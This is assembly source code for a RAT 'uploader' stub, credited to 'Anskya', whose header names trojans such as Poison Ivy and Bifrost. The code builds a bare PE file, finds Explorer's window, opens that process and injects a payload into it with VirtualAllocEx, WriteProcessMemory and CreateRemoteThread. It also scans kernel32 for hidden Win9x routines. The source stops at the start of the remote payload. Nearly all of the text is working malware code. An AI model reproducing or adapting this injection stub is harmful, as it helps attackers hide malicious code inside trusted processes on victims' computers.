;===============================================
; Spirit2.Uploader Coder:Anskya
; Email: [email]Anskya@Gmail.com[/email]
;
; Spirit2.Uploader.code:100%(Server)-------code inject
; Spirit3.b1.Uploader.code:100%(Server)----up
; Spirit3.b2.Uploader.code:100%(Server)----up
; Spirit4.Uploader.b1.code:100%(Server)----up
; C-One 1.0.0.0.code:100%(Server----shit!)-code inject(no elirt)
; Bifrost.1.102.code:100%(Server)----------dll (memory pe loader) inject(use elirt)+plugin memory loader
; Poison Ivy 2.0.0-2.14:100%(Server)-------code inject(no use elict)-code plugin
; tequila bandita 1.3b2.code:100%(Server)--dll Memory Inject
; Nuclear Seed 1.1.code:100%(Server+Client)----process hjeck
;
; Bifrost.1.21.code:30%(Server)------------dll (memory pe loader) inject(use elirt)
; Flux.1.01.code:70%(Server)---------------code inject(use elirt)-code plugin
; Poison Ivy 2.20-2.30.code:10%(Server)----code inject(no use elict)-code plugin
;
; Thank:drocon,coban2k,iciko,ksv,Gargamel,shapeless,Caecigenus,stm
;
; 完全原版逆向...编译器:Nasm 0.39.38 or Yasm 0.61
; nasmw -fbin Spirit2a.asm -o Spirit2a.exe
;===============================================
[BITS 32]
%define CODE_BASE 1000h
%define DATA_BASE CODE_BASE
%define RVADIFF 1000h-200h
%define imagebase 00400000h
%define reloc RVADIFF+imagebase
%define MAX_PATH 260
MZ_Header:
.magic dw \"MZ\"
.cblp dw 0
.cp dw \"IC\"
.crlc dw \"IK\"
.cparhdr dw \"O\"
.minalloc dw 0
;.cblp dw \"[C\"
;.cp dw \"]A\"
;.crlc dw \"ns\"
;.cparhdr dw \"ky\"
;.minalloc dw \"a\"
PE_Header:
.Signature dd \"PE\"
.Machine dw 14Ch
.NumberOfSections dw 1
IAT_User32:
.TimeDateStamp dd 0
.PointerToSymbolTable dd 0
.NumberOfSymbols dd 0
.SizeOfOptionalHeader dw 0E0h
.Characteristics dw 103h
Optional_Header:
.Magic dw 10Bh
.MajorLinkerVersion db 0
.MinorLinkerVersion db 0
.SizeOfCode dd CODE_BASE
.SizeOfInitializedData dd 0
.SizeOfUninitialzedData dd 0
.AddressOfEntryPoint dd code+RVADIFF
.BaseOfCode dd 1000h
;.BaseOfData dd DATA_BASE
.lfanew dd 0Ch
;align 16, DB 0
.ImageBase dd imagebase
.SectionAlignment dd 1000h
.FileAlignment dd 200h
.MajorOperSystemVersion dw 4h
.MinorOperSystemVersion dw 0h
.MajorImageVersion dw 0h
.MinorImageVersion dw 0h
.MajorSubsystemVersion dw 4
.MinorSubsystemVersion dw 0
.Reserved1 dd 0h
.SizeOfImage dd 2000h
.SizeOfHeaders dd import
.CheckSum dd 0h
.Subsystem dw 2
.DllCharacteristics dw 0h
.SizeOfStackReserve1 dd 100000h
.SizeOfStackCommit1 dd 2000h
.SizeOfStackReserve2 dd 100000h
.SizeOfStackCommit2 dd 1000h
.LoaderFlags dd 0h
.NumberOfRvaAndSizes dd 10h
Data_Directories:
.Export times 2 dd 0h
.Import dd import+RVADIFF, import_end-import
.Resource times 2 dd 0
.Exception times 2 dd 0h
.Security times 2 dd 0h
.Relocation times 2 dd 0h
.Debug times 2 dd 0h
.Architecture times 2 dd 0h
.GlobalPtr times 2 dd 0h
.TLS times 2 dd 0h
.LoadConfig times 2 dd 0h
.BoundImport times 2 dd 0h
.IAT times 2 dd 0h
.DelayImport times 2 dd 0h
.ComDescriptor times 2 dd 0h
.Reserved times 2 dd 0h
;PE节----至少要有一个PE节
sections:
.SectionName db \"spirit2\",0
.VirtualSize dd 1000h
.VirtualAddress dd 1000h
.SizeOfRawData dd code_end-import
.PointerToRawData dd import
.PointerToRelocations dd 0h
.PointerToLinenumbers dd 0h
.NumberOfRelocations dw 0h
.NumberOfLinenumbers dw 0h
.Characteristics dd 0E00000D0h
;============================================================================================
; 循环启动自身.查找Explorer
Find_Process:
push 11h
pop ecx
@loop_push1:
push edi
loop @loop_push1
push esp
push esp
push 7
pop ecx
@loop_push2:
push edi
loop @loop_push2
lea eax, [reloc + __GetCurrentPath]
push eax
call [reloc + __CreateProcessA]
push 11h
pop ecx
@loop_pop:
pop eax
loop @loop_pop
popad
retn
; Win9x插入函数
Inject_Win9x:
push 40h
push 08003000h
push ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH * 2)
push edi
call [reloc + __VirtualAlloc]
; Write Memory
push 8
push edi
push eax
push edi
push ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH)
lea edx, [reloc + __RemoteCodeStart]
push edx
push eax
push esi
call [reloc + __WriteProcessMemory]
; CreateRemoteThread For Win9x
call [reloc + __GetCurrentProcessId]
xor eax, [fs:030h]
xor ebx, eax
mov esi, [reloc + __DebugActiveProcess]
; 搜索CreateRemoteThread9x
@search_crt9x:
inc esi
cmp dword [esi], 0E857FFFFh
jnz @search_crt9x
lodsd
lodsd
add eax, esi
push -1000h
push ebx
call eax
; 搜索OpenThread9x
push edi
push eax
mov esi, [reloc + __OpenProcess]
@search_opt9x:
inc esi
cmp dword [esi], 0E832FF50h
jnz @search_opt9x
lodsd
lodsd
add eax, esi
push ebx
call eax
popad
retn
dll002 db \"USER32\",0
__ExplorerWindow db 'shell_traywnd',0
align 200h, DB 0
import dd 0
dd 0
dd -1
dd dll001+RVADIFF
dd api001+RVADIFF
times 5 dd 0 ;NULL DLL ENTRY
dll001 db \"KERNEL32.DLL\",0
;kernel32 apis
api001 dd api101+RVADIFF
dd 0
api101 dw 0
db \"ExitProcess\",0
import_end:
code:
pushad
lea ebx, [reloc + __LoadLibraryA]
call GetKernel32
lea eax, [imagebase + dll002]
push eax
call [reloc + __LoadLibraryA]
call GetFunctions
xor edi, edi
; 获取自身路径
push MAX_PATH
lea eax, [reloc + __GetCurrentPath]
push eax
push edi
call [reloc + __GetModuleFileNameA]
push 1024
call [reloc + __Sleep]
;Debug
;call RemoteCode
; 查找Explorer.exe窗口
push edi
lea eax, [imagebase + __ExplorerWindow]
push eax
call [reloc + __FindWindowA]
test eax, eax
jnz @Inject_Process
; 启动自身,再次查找Exlorer窗口
lea eax, [imagebase + Find_Process]
jmp eax
; 注入代码To 远程进程(Explorer)
@Inject_Process:
push eax
push esp
push eax
call [reloc + __GetWindowThreadProcessId]
pop eax
xchg eax, ebx
push ebx
push edi
push 01F0FFFh
call [reloc + __OpenProcess]
xchg eax, esi
; 判断是否为Win9x
call [reloc + __GetVersion]
cmp eax, 080000000h
jb @Inject_WinNT
; 执行Win9x插入
lea eax, [imagebase + Inject_Win9x]
jmp eax
@Inject_WinNT:
push 40h
push 3000h
push ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH * 2)
push edi
push esi
call [reloc + __VirtualAllocEx]
push eax
push esp
push edi
push edi
push eax
push edi
push ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH)
lea ebx, [reloc + __RemoteCodeStart]
push ebx
push eax
push esi
call [reloc + __WriteProcessMemory]
push edi
push edi
push esi
call [reloc + __CreateRemoteThread]
pop eax
popad
retn
;=============================================
; RemoteCode
__RemoteCodeStart:
RemoteCode:
pushad
call @Start
@Start:
pop ebx
add ebx, (__LoadLibraryA - @Start)